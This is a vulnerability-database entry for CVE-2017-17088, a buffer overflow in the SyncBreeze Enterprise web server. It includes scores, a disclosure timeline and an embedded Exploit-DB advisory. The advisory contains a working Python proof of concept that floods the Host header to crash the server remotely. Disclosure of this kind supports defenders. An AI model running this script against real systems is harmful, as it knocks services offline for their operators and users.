CVE-2017-17088

high
Published 2017-12-19 · Modified 2026-05-13
CVSS v3
7.5
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS v4 NEW
not yet in upstream
VIR risk
8.5

Description

The Enterprise version of SyncBreeze 10.2.12 and earlier is affected by a Remote Denial of Service vulnerability. The web server does not check bounds when reading server requests in the Host header on making a connection, resulting in a classic Buffer Overflow that causes a Denial of Service.

Predictions

Exploit likelihood
83%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43344 dos windows text · 3 KB
Manuel García Cárdenas · 2017-12-15

Sync Breeze 10.2.12 - Denial of Service

text exploit Source: Exploit-DB
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MGC ALERT 2017-007
- Original release date: November 30, 2017
- Last revised:  December 14, 2017
- Discovered by: Manuel García Cárdenas
- Severity: 7,5/10 (CVSS Base Score)
- CVE-ID: CVE-2017-17088
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I. VULNERABILITY
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SyncBreeze <= 10.2.12 - Denial of Service

II. BACKGROUND
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SyncBreeze is a fast, powerful and reliable file synchronization solution
for local disks, network shares, NAS storage devices and enterprise storage
systems.

III. DESCRIPTION
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The Enterprise version of SyncBreeze is affected by a Remote Denial of
Service vulnerability.

The web server does not check bounds when reading server request in the
Host header on making a connection, resulting in a classic Buffer Overflow
that causes a Denial of Service.

To exploit the vulnerability only is needed use the version 1.1 of the HTTP
protocol to interact with the application.

IV. PROOF OF CONCEPT
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#!/usr/bin/python
import sys, socket

host = sys.argv[1]
buffer="GET / HTTP/1.1\r\n"
buffer+="Host: "+"A"*2000+"\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
s.send(buffer)
s.close()

V. BUSINESS IMPACT
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Availability compromise can result from these attacks.

VI. SYSTEMS AFFECTED
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SyncBreeze <= 10.2.12

VII. SOLUTION
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Vendor release 10.3 version
http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.3.14.exe

VIII. REFERENCES
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http://www.syncbreeze.com/

IX. CREDITS
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This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
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November 30, 2017 1: Initial release
December 14, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
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November 30, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
November 30, 2017 2: Send to vendor
December 6,  2017 3: Vendor fix the vulnerability and release a new version
December 14, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
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Manuel Garcia Cardenas
Pentester

Application impact

VendorProductVersionsFixed
flexensesyncbreeze{"endIncluding":"10.2.12"}

References

CWEs

CWE-119

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